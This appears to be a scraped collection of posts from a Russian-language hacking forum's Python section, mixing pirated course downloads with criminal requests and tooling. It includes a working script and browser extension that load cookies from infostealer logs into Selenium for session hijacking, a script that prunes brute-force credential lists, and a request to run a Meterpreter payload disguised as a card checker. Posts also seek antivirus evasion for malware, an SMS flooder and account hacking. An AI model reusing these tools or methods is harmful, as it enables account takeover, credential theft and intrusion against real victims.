[Ссылка на курс](https://www.udemy.com/course/modern-web-scraping-in-
python/?c34dc952)
Скачать
P.S. Ссылку не смогу обновить сразу если заблочат так, что кто успел, тот успел.
Подскажите, пожалуйста, как защитить софт от копирования, декомпилирования; сделать выдачу лицензии на машину по какому-н уникальному идентификатору. Интерфейс на кутах, если это имеет значение. Заранее благодарю
Описание:
Машинное обучение поглощает мир программного обеспечения. Освойте и работайте с передовыми технологиями машинного обучения, нейронных сетей и глубокого обучения с помощью 2-го издания бестселлера Себастьяна Рашки.
Будучи основательно обновленной с учетом самых последних технологий с открытым кодом, включая такие библиотеки, как scikit-learn, Keras и TensorFlow, эта книга предлагает практические знания и приемы, которые необходимы для создания эффективных приложений машинного и глубокого обучения на языке Python. Обладающие уникальной проницательностью и знанием дела авторы книги, Себастьян Рашка и Вахид Мирджалили, ознакомят вас с алгоритмами машинного обучения и глубокого обучения и постепенно подведут к сложным темам в анализе данных. В книге предлагается сочетание теоретических принципов машинного обучения с практическим подходом к написанию кода для полного понимания теории машинного обучения и реализация с помощью Python.
Формат : PDF
Год : 2020
ISBN : 978-5-97060-409-0
Приветствую всех!
Возник вопрос по поводу поиска стучалок в коде, суть такова:
есть ТГ бот по продаже цифровых товаров, поставил его на rdp, настроил как
тестовый без заполнения, через поиск найти его не получиться из-за рандомного
имени. Но время от времени в нем появляются личности... вот и задался вопросом
как проверить код на стучалки разработчику?
Буду благодарен за любую подсказку что искать!
Ради интереса хочу написать бэкдор на питоне. Подскажите как можно зашифровать код?
П.с. Направьте в нужный раздел, пжлста, если я не туда попал. Спасибо.
Привет. В Интернете нет нормальной инфы, как сделать полный экспорт куков из файла стиллера. Только а ля "переходим на страницу, вбиваем через driver.set_cookie"
Spoiler: Почему это плохо
Использовать тактику "Переход на страницу -> Вбив куки" плохо, ибо:
Spoiler: Теория
Из соображений безопасности нельзя ставить куки на домен, не находясь на нем. Допустим, мы сидим на сайте google.com. В такой конфигурации, стандартными средствами мы не можем ставить куки, например, на yandex.ru. Но можно обойти эту защиту через целый ряд костылей.
селен = Selenium Python
Структура плагина:
dancookie
| - _locales
| - cookedit.js
| - cookedit_bg.js
| - manifest.json
Я без понятия, зачем вообще нужна дира _locales, я копирнул ее из другого плагина.
Spoiler: Зачем два файла JS?
~~За лесом~~
Так как расширения имеют 2 направления - background скрипты, и content
скрипты. Background имеют доступ к редактированию куков и другим веселым
вещам, а content скрипты умеют ненамного больше DevTools
cookedit.js:
JavaScript:Copy to clipboard
chrome.runtime.sendMessage({'cookies': cookies}, (response) => {});
cookedit_bg.js:
JavaScript:Copy to clipboard
chrome.runtime.onMessage.addListener((request) => {
if(request['cookies']) {
for(var i = 0; i < request['cookies'].length; i++) {
var cookie = request['cookies'][i];
var url = "";
if(cookie['httpOnly'] == "TRUE") url += 'http://'; else url += 'https://';
url += cookie['domain'];
url += cookie['path'];
browser.cookies.set({"url": url, "expirationDate": parseInt(cookie['expirationDate']), "name": cookie['name'], "value": cookie['value']});
}
} else {
console.log('error');
}
});
manifest.json:
JSON:Copy to clipboard
{
"name": "DanCookie",
"version": "1.0",
"manifest_version": 2,
"default_locale": "en",
"description": "Cookie exporter",
"permissions": [
"tabs",
"cookies",
"<all_urls>"
],
"content_scripts":[
{
"matches":["https://www.google.com/*"],
"js":["cookedit.js"]
}
],
"background": {
"scripts": ["cookedit_bg.js"]
}
}
Вместо https://www.google.com/* можно вписать любой другой сайт,
переадресовав на который пользователя через селен начнетс импорт куков.
index.py:
Spoiler: Code
Python:Copy to clipboard
import os
from time import sleep
import json
import pyautogui
from selenium import webdriver
from selenium.webdriver.common.by import By
from selenium.webdriver.support import expected_conditions as EC
from selenium.webdriver.support.ui import WebDriverWait
driver = webdriver.Firefox(executable_path="geckodriver.exe") # Инициализируем вебдрайвер
driver.delete_all_cookies() # При старте драйвера куки и так чистые, но перестрахуемся и удалим их
cookies = []
# Открываем файл куков
with open('cookies.txt', 'r') as f:
# Перебираем их
for cookie in f.read().split('\n'):
# Игнорим ошибки (невалид куки)
try:
# Получаем данные куки - разделитель - таб
cook = list(cookie.split('\t'))
# Переводим в подходящий нам формат
coo = {'domain': cook[0], 'expirationDate': cook[4], 'hostOnly': cook[1], 'httpOnly': cook[3],
'name': cook[5].replace('\\', '\\\\').replace('"', '\\"'), 'path': cook[2],
'value': cook[6].replace('\\', '\\\\').replace('"', '\\"')}
# Добавляем к финальному списку
cookies.append(coo)
except:
pass
# Пихаем куки в content-скрипт плагина
with open('dancookie/cookedit.js', 'w') as f:
f.write('var cookies = ' + json.dumps(cookies) + ';\nchrome.runtime.sendMessage({\'cookies\': cookies}, (response) => {});')
driver.get('about:debugging#/runtime/this-firefox') # Переходим в настройки для разрабов
WebDriverWait(driver, 30).until( # Ждем, пока не появится кнопка установки расширения
EC.presence_of_element_located((By.CLASS_NAME, 'qa-temporary-extension-install-button')))
WebDriverWait(driver, 30).until( # И пока эта кнопка не станет кликабельна
EC.element_to_be_clickable((By.CLASS_NAME, 'qa-temporary-extension-install-button')))
driver.find_element_by_class_name('qa-temporary-extension-install-button').click() # Жмем на нее
# Задержка, ибо окошку выбора файла надо время, чтобы открыться
sleep(1)
# Вбиваем путь к манифесту
pyautogui.write(os.path.dirname(os.path.abspath(__file__)) + "\\dancookie\\manifest.json")
sleep(1)
# Подтверждаем
pyautogui.press('enter')
sleep(1)
# Переходим на страницу из манифеста
driver.get('https://www.google.com')
sleep(3) # Даем скрипту пару секунд на добавление куков
# Драйвер готов к использованию
Да, метод костыльный. Да, он достаточно долгий. Но на данный момент это
единственный нормальный метод импорта всех куков из файла cookies.txt в
селениум.
Есть расширения, которые дают тот же функционал, но вот только одна проблема:
селен может взаимодействовать только со страницами.
Спасибо за внимание. Тема для критики+предложений\пожеланий
I use Chilkat for my Python projects. At the moment, the trial version for 30 days. However, I am already wondering what I will do when the trial expires.
Activation through the trial version worked through a function in the package, which should only be called before executing the Python script / instance.
Does anyone know about this and have options to get around the activation request?
Я пишу веб-клиент на Python. Кто-нибудь поможет?
Если пк завершил свою работу аварийно из за вин10 дефендер, а база уже
наполовину отбручена. чтобы заново чек не перезапускать можно от общей базы
вычесть бэды с помощью этого скрипта. all.txt минус логпасы bad.txt создаст
вычтенный файл renew.txt. быстро и дешево. язык питон.
п.с. сравнивайте разделитель в олл и бэд перед запуском скрипта.
Python:Copy to clipboard
#Читаем общий файл с логпасами делаем из него список1, читаем файл
#с бэдами(сохраняется в проекте по мере выполнения брута) - делаем список2.
#вычитаем бэды из общего файла, и помещаем результат в список резалт.
with open('all.txt', 'r') as f:
list1 = f.read().splitlines()
with open('bad.txt', 'r') as f2:
list2 = f2.read().splitlines()
result=list(set(list1) ^ set(list2))
#Создаем файл ренью, и построчно записываем в него элементы списка резалт.
renew=open('renew.txt', 'w')
for element in result:
renew.write(element)
renew.write('\n')
renew.close()
someone can help me to Recompile pyc file to .py i extract .exe file to pyc and now i want to recompile it in python but it's not worked for me NEED Your HELP
Название: Асинхронный Python (2020)
Автор: Devman
Урок 1: Делаем игру про космос
В этом уроке вы напишете свою консольную игру. Будем летать на ракете и любоваться звёздным небом. А заодно познакомимся с асинхронностью.
Свой игровой движок
Мы не будем использовать готовые движки, а напишем свой. Если вы захотите
заменить ракету на динозаврика, а астероиды на кактусы — вы сделаете это в
несколько строк кода.
Научитесь писать корутины
Корутины — это функции из мира асинхронности. Как обычный код состоит из
функций, так и асинхронный собирается из корутин. Без них никуда.
Урок 2: Сквозь мусор к звёздам
Игра получилась расслабляющей, но любители экшена назовут её скучной. Пора
добавить режим с пушками: взрывы, астероиды, спутники, горящие куски обшивки.
В такой игре уже не заскучаешь.
Дирижируйте корутинами
В предыдущем уроке вы писали только асинхронные функции и вызывали их. Здесь
же вы хлебнёте корутин по полной: одна корутина создаёт другие корутины, а
другая их уничтожает ...
Будет чем хвастаться
Друзьям не похвастаешься сортировкой или переворотом бинарного дерева. А вот
игрой про космос, да ещё со звуком — уже можно!
Урок 3: А скинешь фоточки?
Что происходит, когда вы нажимаете кнопку «Скачать» в Дропбоксе? Как ему
удаётся в одно мгновение сжать гигабайты в архив и начать загрузку на ваш
компьютер? В этой задаче вы сами напишете код для кнопки «Скачать», узнаете
всё на собственном опыте.
Django? Flask? А может aiohttp?
В этой задаче вы поднимете свой сервер на aiohttp. Это самый популярный
фреймворк с поддержкой асинхронного кода.
Новое о старом: HTTP
А вы знали, что HTTP-ответ необязательно готовить целиком? В этой задаче вы
будете архивировать файлы «на лету», по кусочкам, и тут же отдавать эти
кусочки клиенту на скачивание.
Урок 4: Подключаемся к подпольному чату
В этом уроке вы будете писать клиент для анонимного чата. Да, чат будет о
Майнкрафте, и очень секретный. Коды для Майнкрафта — дело серьёзное, такое в
обычных чатах не обсуждают.
Узнайте, как делают чаты
Чаты — это не так-то просто! Сообщения должны приходить мгновенно, а если
вдруг отключится интернет, то приложение должно само переподключиться.
Сокеты! Наконец-то!
В этом уроке вы станете одним из избранных, тем самым, кто знает о сокетах.
Они помогут развить такие скорости, о которых c HTTP нельзя и мечтать.
Урок 5: Помогаем клубу анонимных геймеров
Подключиться к чату — полдела. Куда сложнее сделать полноценный чат-клиент, удобный рядовому пользователю.
Своё приложение в терминале
В чатах сидят подолгу. Чтобы было приятно, нужен удобный интерфейс, похожий на
Телеграмм. Вы сделаете как раз такой.
Жонглируйте очередями
Очереди — это краеугольный камень в мире асинхронного кода. С их помощью
корутины могут обмениваться данными, даже если работают параллельно.
Урок 6: Фильтруем Интернет со скоростью света
Вам надоели фейковые новости в интернете? Теперь есть шанс с ними поквитаться. Вы напишете краулер, который пройдет по сайтам и составит свой рейтинг желтушности. Благодаря асинхронности он наберет огромную скорость, ограниченную лишь сетевым соединением.
Сделайте поискового робота
Поисковые роботы Гугл и Яндекс безустали парсят сайты и ранжируют страницы по
популярности. Вы сделаете то же самое. Если смог Сергей Брин, чем вы хуже?
Блесните знаниями в тусовке программистов
Все слышали про магические event loop и корутины, но мало кто с ними по-
настоящему работал. Вы будете одним из немногих, кто знает о чем говорит.
Урок 7: Следим за автобусами
Вы знали, что на общественном транспорте установлены GPS датчики? Их координаты можно узнать и отобразить на карте в браузере. Но вы сделаете больше — покажете перемещение транспорта в реальном времени.
Как Яндекс Транспорт, только свой
В этом уроке вы загляните под капот известного сервиса и набъете те же шишки,
что и программисты Яндекса.
20 тысяч автобусов онлайн
Чтобы автобусы перемещались по карте, нужны не только координаты, но и
постоянное их обновление. Более того, обновлять придется положение сразу 20
тысяч автобусов. Узнайте как сделать это надёжно, без лагов и зависаний.
Урок 8: Рассылаем СМС для МЧС
Здесь вы построите свой сервис по рассылке СМС сообщений с предупреждением о непогоде. Да, прямо настоящие СМС, которые придут на ваш телефон!
Скрестите trio и asyncio
asyncio и trio — это две библиотеки для написания асинхронного кода. Они такие
же разные, как Django и Flask: то, что написано для asyncio на trio не
запустится. В этом уроке вы всё-таки запустите библиотеки для asyncio на trio.
Почувствуйте силу Quart
Quart — это клон Flask, только асинхронный и с крутыми фичами. Вебсокеты "из
коробки", поддержка как asyncio, так и trio. Уже интересно опробовать такого
монстра в деле?
Урок 9: Добиваемся стабильности
В прошлом уроке накопилось много проблем с кодом, и это только те, которые видны невооружённым глазом. А что, если какие-то из них вы ещё не нашли? В этом уроке вы покончите с этой неопределённостью.
Напишите тесты к асинхронному коду
Писать тесты нынче мастхэв для больших проектов на Python. Появился даже
подход к программированию: Test Driven Development. В этом уроке вы напишете
несколько текстов к своему коду и пощупаете что же это такое.
Попробуйте Publisher/Subscriber в aioredis
Publisher/Subscriber — это паттерн проектирования, когда какая-то часть кода
может создавать записи в БД, а другая вечно ждёт обновлений. За счёт этого
можно сделать общение с БД более экономным: слать запросы только тогда, когда
Publisher говорит, что появилось что-то новенькое.
Python Deep Dive 1-4 at $ 389.97 / ₽29,736.97 worth! All four courses are included.
—Python 3 | Deep Dive Part 1 - Functional | 10 chapters | 158 lectures | 44h total length 38m
—Python 3 | Deep Dive Part 2 - Iteration & Generators | 13 chapters | 138 lectures | 34 hours 40 m total length
—Python 3 | Part 3 Deep Dives - HashMaps | 10 chapters | 79 lectures | 20h 22m total length
—Python 3 | Deep Dive Part 4 - OOP (Object Oriented Programming) | 14 chapters | 162 lectures | 35hr 12m total length
**Full Deepdive Course Package = $ 389.97 / 29736.97 ₽
Python 3 | Deep Dive Part 1 - Functional | Posted by Fred Baptist | 24k + students and 4.8 stars | original $ 129.99 / 9915.33 ₽ | 10 chapters | 158 lectures | 44h total length 38m
Topics covered in the course:**
Spoiler
-Detailed overview of variables, memory, namespaces and scopes
- Deep dive into memory management and Python optimization
- in-depth understanding and advanced use of Python numeric data types
(boolean, integers, floating point numbers, decimals, fractions, complex
numbers)
-Additional logical expressions and operators
-Extensive use of callable objects including functions, lambdas and closures
-Functional programming techniques such as display, reduction, filtering and partial
-Create advanced decorators, including parameterized decorators, class decorators, and decorator classes.
-Advanced decorators like memorization and general single send functions
-Using and understanding the complex system of Python modules and packages
-Idiomatic Python and Best Practices
-Understanding Python compile and run time and how it affects code
-Avoid common mistakes [/ SPOILER]
**Python 3 | Deep Dive Part 2 - Iteration & Generators | Posted by Fred Baptist | 15k + students | 4.9 Stars | 13 chapters | 138 lectures | 34h total length 40m | Original price $ 129.99 / $ 9915.33
Topics covered in the course:**
Spoiler
-You will be able to use the concepts in this course to take your Python programming skills to the next level.
-Types of sequence and sequence protocol
-Iterators and iterative protocol
-Iterators and iterator protocol
-List of agreements and their relationship with the closure
- Generator functions
- Expression generator
-Context managers
-Creating context managers using generator functions
-Use generators as coroutines
[/ SPOILER]
**Python 3 | Deep Dive Part 3 - All HashMap | Fred Baptist | 11k + students | 4.9 stars | 10 chapters | 79 lectures | 20h 22M total length | Original price $ 129.99 / $ 9915.33
Topics covered in the course:**
Spoiler
-Associating arrays
-Hash tables and hash functions
-Implementation of hash tables in Python
-Dictionaries and sets
-Defining hash functions for custom classes and why it's useful
-Create separate dictionaries using the UserDict class
-default
-OrderedDict and Python3.6 + equivalents
-Counter (multiple sets)
-ChainMap
-Serialization and Deserialization
-JSON serialization / deserialization
-An acquaintance with third-party libraries JSONSchema, Marshmallow, PyYaml and Serpy [/ SPOILER]
**Python 3 | Deep Dive Part 4 - OOP (Object Oriented Programming) | Posted by Fred Baptist | 10k + students | 4.9 Stars | 14 chapters | 162 lectures | length 35h 12m | Original price $ 129.99 / $ 9915.33
Topics covered in the course:**
Spoiler
-Object-oriented Python concepts
-Classes
-Methods and binding
-Instance, class and static methods
-Properties
-Real estate decorators
-Single inheritance
-Slots
-Descriptors
-Numbering
-Exceptions
-Metaprogramming [/ SPOILER]
DOWNLOAD
Please add like if you liked my content
Hidden content for authorized users.
[URL unfurl = "true"] https://mega.nz/folder/vfBjWCjB#f0pDTKYmdZ5Ljwf84XRGcA [/ URL]
[URL unfurl = "true"] https://mega.nz/folder/ePI2CJ4I#ujgFRiABNbRY5XthpDoMTg [/ URL]
[URL unfurl = "true"] <https://mega.nz/folder/zWBzHaYD#_PDUp0hVI8-7wHSS- hJg-Q> [/ URL]
[URL unfurl = "true"] <https://mega.nz/folder/THI0gL6a#ffLkPr_KT- ne7L42FEK3Vw> [/ URL]Click to expand...
[/ HIDE]
Full package of Deepdive courses = $ 389.97 / 29736.97 ₽
Всем привет.
При изучении python сделал пару ботов, радио бота и бота который парсит
котировки валют, акций и выводит их в реальном времени с графиками. Пришла
мысль сделать кнопку «избранное» в бота(радио бота) , так как там будет ещё
больше станций, и мало кому захочется листать десятки страниц , что бы
послушать свою любимую станцию. Хотелось бы узнать как реализовать «избранное»
с добавлением записей в бд к user_id те, которые он добавил, и выводить для
каждого список добавленных?
У меня есть бд в которую заносятся, user_id, first_name, last_name при команде
старт.
Как сделать добавление записей в бд, и при вызове команды «избраннное»
выводить те команды, которые он добавил? Хочу добавить к каждой станции свою
команду «добавить в избранное» но в MySQL пока никак не соображу как сделать.
Посмотрел видео про MySQL , но там нет реализации моей функции. Я пока учусь,
прошу сильно не гнобить.
Есть идеи или уже готовый скрипт?
как взломать страницу вк используя питоновский проект в pycharm?
Коллеги ,в связи с популярностью телеграм ботов , учусь своих ботов писать .
Есть идеи для бота?) Какого бота вы хотели бы видеть у себя в телеграме ?))
буду благодарен за идеи ,спасибо
Автор: Тарик Рашид
Название: Создём нейронную сеть
Язык: русский
Формат: PDF
Книга, для тех, кто решил заняться искусственным интеллектом и хочет понять, как все устроено под капотом нейронной сети.
](http://www.mediafire.com/file/xgyvf06cu5gcaw8/%25D0%25A1%25D0%25BE%25D0%25B7%25D0%25B4%25D0%25B0%25D0%25B5%25D0%25BC_%25D0%25BD%25D0%25B5%25D0%25B9%25D1%2580%25D0%25BE%25D0%25BD%25D0%25BD%25D1%2583%25D1%258E_%25D1%2581%25D0%25B5%25D1%2582%25D1%258C_%2528_PDFDrive_%2529.pdf/file)
MediaFire is a simple to use free service that lets you put all your photos, documents, music, and video in a single place so you can access them anywhere and share them everywhere.
www.mediafire.com
Python to flood sms numbers. made fresh by me.
feedback is appreciated.
pastebin.com/9CypYaer
password: FixrrVUar8
Познаем основы стеганографии с Python. Напишем две программы, первая будем читать байты картинки, и искать там какие-то "послания", а вторая будет прятать послания в картинку.
Для начала создадим новый файл, например read.py. И сделаем переменою cFile которая будет открывать нашу картинку:
Python:Copy to clipboard
try:
cFile = input('File name:')
with open(cFile, "rb") as r:
Теперь сделаем чтения байтов, для этого сделаем переменою byte которая будет равна r.read(1), ну и переменая k которая будет равна 0
Python:Copy to clipboard
byte = r.read(1)
k = 0
Ну и сделаем чтобы они читало байты через цикл:
Python:Copy to clipboard
while byte:
byte = r.read(1)
print(byte)
k += 1
Весь код:
Python:Copy to clipboard
try:
cFile = input('File name: ')
with open(cFile, "rb") as r:
byte = r.read(1)
k = 0
while byte:
byte = r.read(1)
print(byte)
k += 1
except FileNotFoundError:
print("File: " + str(cFile) + "not found!")
raise SystemExit
else:
print("\n[+] Number of bytes in the '"+str(cFile)+"': "+str(k))
Окей, read.py готов, теперь настало время писать main.py.
Для этого создадим новый файл, и сделаем открытия файла:
Python:Copy to clipboard
try:
cFile = input('File name: ')
with open(cFile, "ab") as file:
Ну и запись в картинку:
Python:Copy to clipboard
text = input('Write your text: ')
file.write(text.encode("utf-8"))
Весь код:
Python:Copy to clipboard
try:
cFile = input('File name: ')
with open(cFile, "ab") as file:
text = input('Write your text: ')
file.write(text.encode("utf-8"))
except FileNotFoundError:
print("File: " + cFile + "not found!")
raise SystemExit
else:
print("\n[+] Number of bytes in the '"+str(cFile))
Окей давайте теперь запустим на main.py, и запишем в него какое-то слов:
Проверяем read.py
Вот мы и видим hello
Автор @reng0kukun
Что лучше? Для новичка.
Новый курс по "Объектно-ориентированному программированию в Python" и это его карта:
0. Введение (проблема процедурного подхода)
1. Объекты и классы
2. Атрибуты класса и функции
3. Классы как callable-объекты, экземпляры классов
4. Функции классов и методы экземпляров, self
5. Инициализация экземляров, init метод
6. Статические методы и декоратор @staticmethod
7. Инкапсуляция, приватные атрибуты и публичный интерфейс
8. Пример 1
9. Name mangling
10. Область видимости классов и Методы класса @classmethod
11. Свойства @property, геттеры и сеттеры (getter, setter)
12. Свойства только для чтения и вычисляемые свойства
13. Наследование, перегрузка методов и расширение функциональности
14. Множественное наследование, mro, миксины
15. Полиморфизм, перегрузка операторов
16. Хэшируемые объекты и равенство
17. super() и делегирование родителям
18. Дескрипторы. Non-data дескрипторы
19. Дескрипторы данных
20. Слабые ссылки weakref и проблема хранения данных в экземпляре дескриптора
21. Метод set_name и хранение данных в экземпляре класса-владельца
Курс Логгирование в Python
Практический курс парсинга сайтов на Python
Курс отсюда - https://www.patreon.com/posts/karta-kursa-oop-41010968
Скачать:
magnet:?xt=urn:btih:AD926D1A5CDED16AEA9AB61B2E525869216B0A1B
[Олег Молчанов] Python ООП (2020)
Автор: Олег Молчанов
Название: Python ООП (2020)
Новый курс по "Объектно-ориентированному программированию в Python" и это его карта.
#0. ООП: Введение (проблема процедурного подхода)
#1. ООП: Объекты и классы
#2. ООП: Атрибуты класса и функции
#3. ООП: Классы как callable-объекты, экземпляры классов
#4. ООП: Функции классов и методы экземпляров, self
#5. ООП: Инициализация экземляров, init метод
#6. ООП: Статические методы и декоратор @staticmethod
#7. ООП: Инкапсуляция, приватные атрибуты и публичный интерфейс
#8. ООП: Пример 1
#9. ООП: Name mangling
#10. ООП: Область видимости классов и Методы класса @classmethod
#11. ООП: Свойства @property, геттеры и сеттеры (getter, setter)
#12. ООП: Свойства только для чтения и вычисляемые свойства
#13. ООП: Наследование, перегрузка методов и расширение функциональности
#14. ООП: Множественное наследование, mro, миксины
#15. ООП: Полиморфизм, перегрузка операторов
#16. ООП: Хэшируемые объекты и равенство
#17. ООП: super() и делегирование родителям
#18. ООП: Дескрипторы. Non-data дескрипторы
#19. ООП: Дескрипторы данных
#20. ООП: Слабые ссылки weakref и проблема хранения данных в экземпляре
дескриптора
#21. ООП: Метод set_name и хранение данных в экземпляре класса-владельца
Скачать: Hidden content for authorized users. https://cloud.mail.ru/public/43vf/35Gr5LRB1
Ребят, вот кто здесь есть из реально шарящих в питоне с опытом прям нехилым или хотяб от 2-х лет опыта, я прошу накидайте задачки, для новичка, ну или могу дать свой tg, и буду у вас спрашивать задачи, а то вроде изучаю а мысли не приходят пока никакие, и не пишите про ваши codewars и тд, я хочу пообщаться с реальным человеком с опытом, спасибо заранее.
Доброго времени суток друзья, я не так давно начал изучать пайтон, суть
истории. Я очень долго думал, как доставить пэйлоад одной цели, по итогу
пришел к идее замаскировать это дело под СС чекер (долгая история).
Итак написал простейший gui и прилепил сессию, которая активируется по нажатии
кнопки Check CC.
После нажатия кнопки прога повисает, я получаю сессию, но как только прогу закроют сессия будет потеряна, если я не успею мигирировать в explorer. И так внимание вопрос, нужна ваша помощь, не могу догнать каким образом сделать, так чтобы при нажатии кнопки програ не висла, а высвечивала текст из вариантов которые указаны в коде. В идеале бы конечно, создать процесс отдельный и повесить туда метерпретер сессию, чтобы даже после закрытия окна, сессия оставалась висеть в процессах и у меня было бы больше времени на миграцию.
You must have at least 30 reaction(s) to view the content.
P.S. Ток прошу не лейте это на вт.. а то захуячите)
Это краткая история о том, как чуть я не стал хакером, а может быть и
миллионером, а может быть и обо мне написали в каком нибудь завидном журнале,
но всему виной был именно python...
Началась эта история в году 2020м, тогда бы были молоды (моложе на один месяц
чем сейчас) и безбашенные (как не было мозгов, так и нету) и решили мы
устроить большой хак, наш товарищ работал в очень замечательной конторе
(могильщиком), (это конечно было в юсе, нет не ру, вы не подумайте, там бы нас
и прикопали), те был инсайдером, а мы были крутыми программистами (когда я это
написал даже сплюнул, от собственной наглости). И потребовалось нам поставить
туда софт какой никакой что бы денег заработать (а то вы подумаете что мы
совсем идиоты и нахаляву че та делаем). Наш товарищ был очень умным и
компьютеризированным человеком, мы конечно понимали с кем мы работали (он
только копать и закапывать умел) по этому вытянуть у него инфу об операционной
системе, ав, локальной сети мы никак не могли... Единственное что получилось -
конкретно - это пара роликов на ютубе, с криками - "вот типа такой было" и мы
поняли по предварительным прикидкам что это будет Windows XP, с полностью
неизвестной нам инфраструктурой, потому что все было зыбко и не точно. Итак,
набравшись храбрости мы решили делать убер-вундер-вафлю для теста, что бы он
просто кликнул и посмотрел что будет, а нам бы в худшем случае отправился лог
с данными о системе, в лучшем мы бы получили реверсшелл, что бы двигаться
дальше. Как вы понимаете из названия данной бредовой статьи - выбар наш пал на
пайтон, по нескольким отличительным особенностям:
В срочно порядке был создан очешуительный скрипт для реверсшелла, батч файл
для установки, с архивацией информации и отправкой через curl.exe в панель
лога.
Реверсшелл был спизжен и переработан, сервер спокойно выступает netcat.
Софт полностью протестирован, он классный, но как оказалось у нас linux.
Ничего умнее пока придумать не удалось, так что давайте это будет как первое
мое сообщение, пока писал понял что галиматья выходит, ну извиняйте...
Будьте классными.
Коллеги всех приветствую, наткнулся на вот такую штуку.
https://github.com/kurtcoke/rtx_doc_exploit/blob/master/make_malware.py
Вопрос, сможет, ли кто-то вернуть это к жизни, возможно не бесплатно?
Под вернуть к жизни я подразумеваю обход AV.
u have to just solve captcha that 's it
A.use legit mail
ку
пришла идея,написать клоаку на питоне,кто понимает о чем я ,отзовитесь )
лс
тг @malecv
Доброго утро всем )
Знатоки ,советом поделитесь . Вот учу я питон,и теперь встал выбор фреймворка,
в какое направление двигаться ?) веб,боты,ИИ,хакинг, моб приложу. Вроде питон
и разнообразен и богат,но из-за этого теряешься в направлении .
вопросом тем,кто в питоне уже несколько лет ,какой бы совет вы бы дали себе в
начали обучение питона ?)
благодарю за ранее за ответ
В этой статье мы разберемся, как при помощи Python передавать сообщения между
двумя компьютерами, подключенными к сети. Эта задача часто встречается не
только при разработке приложений, но и при пентесте или участии в CTF.
Проникнув на чужую машину, мы как-то должны передавать ей команды. Именно для
этого нужен reverse shell, или «обратный шелл», который мы и напишем.
Существует два низкоуровневых протокола, по которым передаются данные в
компьютерных сетях, — это UDP (User Datagram Protocol) и TCP (Transmission
Control Protocol). Работа с ними слегка различается, поэтому рассмотрим оба.
Протокол UDP предназначен для передачи пакетов от одного узла к другому без гарантии доставки. Пакет данных обычно состоит из двух частей. В одной — управляющая информация, в том числе данные отправителя и получателя, а также коды ошибок. В другой — пользовательская информация, то есть сообщение, которое передается.
Важно здесь то, что UDP не гарантирует доставку пакета (правильнее говоря, датаграммы) указанному узлу, так как между отправителем и получателем не установлен канал связи. Ошибки и потери пакетов в сетях случаются сплошь и рядом, и это стоит учитывать (или в определенных случаях, наоборот, не стоит).
Протокол TCP тоже доставляет сообщения, но при этом гарантирует, что пакет долетит до получателя целым и невредимым.
Переходим к практике
Писать код мы будем на современном Python 3. Вместе с Python поставляется
набор стандартных библиотек, из которого нам потребуется модуль socket.
Подключаем его.
Python:Copy to clipboard
import socket
Дальше мы договоримся, что у нас есть сервер и клиент, где клиентом обычно будет наш компьютер, а сервером — удаленный. В реальности все это условности, и речь может идти о любых двух компьютерах (в том числе виртуальных машинах) или даже просто двух процессах, запущенных локально. Важно только то, что код по разные стороны будет разным.
На каждой из сторон первым делом создаем экземпляр класса socket и устанавливаем для него две константы (параметры).
Используем UDP
Сначала создадим место для обмена данными.
Python:Copy to clipboard
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
Мы создали объект s, который является экземпляром класса socket. Для этого мы вызвали метод из модуля socket с именем socket и передали ему два параметра — AF_INET и SOCK_DGRAMM. AF_INET означает, что используется IP-протокол четвертой версии. При желании можно использовать IPv6. Во втором параметре для наших целей мы можем указать одну из двух констант: SOCK_DGRAMM или SOCK_STREAM. Первая означает, что будет использоваться протокол UDP. Вторая — TCP.
Сторона сервера
Далее код различается для стороны сервера и клиента. Рассмотрим сначала
сторону сервера.
Python:Copy to clipboard
s.bind(('127.0.0.1', 8888))
result = s.recv(1024)
print('Message:', result.decode('utf-8'))
s.close()
Здесь s.bind(('127.0.0.1', 8888)) означает, что мы резервируем на сервере (то есть на нашей же машине) адрес 127.0.0.1 и порт 8888. На нем мы будем слушать и принимать пакеты информации. Здесь стоят двойные скобки, так как методу bind() передается кортеж данных — в нашем случае состоящий из строки с адресом и номера порта.
Резервировать можно только свободные порты. Например, если на порте 80 уже
работает веб-сервер, то он будет нам мешать.
Далее метод recv() объекта s прослушивает указанный нами порт (8888) и
получает данные по одному килобайту (поэтому мы задаем размер буфера 1024
байта). Если на него присылают датаграмму, то метод считывает указанное
количество байтов и они попадают в переменную result.
Далее идет всем знакомая функция print(), в которой мы выводим сообщение Message: и декодированный текст. Поскольку данные в result — это текст в кодировке UTF-8, мы должны интерпретировать его, вызвав метод decode('utf-8').
Ну и наконец, вызов метода close() необходим, чтобы остановить прослушивание 8888-го порта и освободить его.
Таким образом, сторона сервера имеет следующий вид:
Python:Copy to clipboard
import socket
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.bind(('127.0.0.1', 8888))
result = s.recv(1024)
print('Message:', result.decode('utf-8'))
s.close()
Сторона клиента
Здесь все гораздо проще. Для отправки датаграммы мы используем метод класса
socket (точнее, нашего экземпляра s) под названием .sendto():
Python:Copy to clipboard
s.sendto(b'<Your message>', ('127.0.0.1', 8888))
У метода есть два параметра. Первый — сообщение, которое ты отправляешь. Буква b перед текстом нужна, чтобы преобразовать символы текста в последовательность байтов. Второй параметр — кортеж, где указаны IP машины-получателя и порт, который принимает датаграмму.
Таким образом, сторона клиента будет выглядеть примерно так:
Python:Copy to clipboard
import socket
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.sendto(b'<Your message>', ('127.0.0.1', 8888))
Тестируем
Для тестирования открываем две консоли, одна у нас будет работать сервером,
другая — клиентом. В каждой запускаем соответствующую программу.
![Вывод на стороне сервера](/proxy.php?image=https%3A%2F%2Fst768.s3.eu-
central-1.amazonaws.com%2Fb35482a96cd2d4775056c98409a84f4f%2F12138%2F1_TnmDBoo.png&hash=0cd7702e23eacaa2d087708f73721224)
Вывод на стороне сервера
На стороне клиента мы ничего увидеть не должны, и это логично, потому что мы ничего и не просили выводить.
Для теста мы передавали сообщение от одного порта другому порту на нашей же машине, но если запустить эти скрипты на разных компьютерах и на стороне клиента указать правильный IP, то все будет работать точно так же.
Используем TCP
Пришло время познакомиться с TCP. Точно так же создаем класс s, но в качестве
второго параметра будем использовать константу SOCK_STREAM.
Python:Copy to clipboard
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
Сторона сервера
Снова резервируем порт, на котором будем принимать пакеты:
Python:Copy to clipboard
s.bind(('127.0.0.1', 8888))
Дальше появляется незнакомый нам ранее метод listen(). С его помощью мы устанавливаем некую очередь для подключенных клиентов. Например, с параметром .listen(5) мы создаем ограничение на пять подключенных и ожидающих ответа клиентов.
